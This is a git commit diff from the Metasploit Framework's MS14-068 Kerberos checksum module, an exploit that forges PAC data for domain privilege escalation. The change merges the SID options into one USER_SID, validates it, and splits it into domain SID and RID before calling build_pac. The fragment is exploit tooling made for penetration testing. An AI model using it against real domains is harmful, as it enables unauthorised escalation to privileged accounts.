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metasploit-framework
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Use USER_SID instead of DOMAIN_SID and USER_RID

bug/bundler_fix
jvazquez-r7 2014-12-23 19:11:05 -06:00
parent 13ec578d1a
commit ed2d0cd07b
1 changed files with 14 additions and 4 deletions
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18
modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
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@ -44,14 +44,24 @@ class Metasploit4 < Msf::Auxiliary
register_options( register_options(
[ [
OptString.new('USER', [ true, 'The Domain User' ]), OptString.new('USER', [ true, 'The Domain User' ]),
OptInt.new('USER_SID', [ true, 'The Domain User SID, Ex: 1000']),
OptString.new('PASSWORD', [ true, 'The Domain User password' ]), OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL' ]), OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL' ]),
OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962' ]) OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
], self.class) ], self.class)
end end
def run def run
print_status("Validating options...")
unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
return
end
user_sid_arr = datastore['USER_SID'].split('-')
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
print_status("#{peer} - Connecting with the KDC...") print_status("#{peer} - Connecting with the KDC...")
connect connect
@ -97,8 +107,8 @@ class Metasploit4 < Msf::Auxiliary
pac = build_pac( pac = build_pac(
client_name: datastore['USER'], client_name: datastore['USER'],
group_ids: groups, group_ids: groups,
domain_id: datastore['DOMAIN_SID'], domain_id: domain_sid,
user_id: datastore['USER_SID'], user_id: user_rid,
realm: datastore['DOMAIN'], realm: datastore['DOMAIN'],
logon_time: logon_time, logon_time: logon_time,
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5 checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5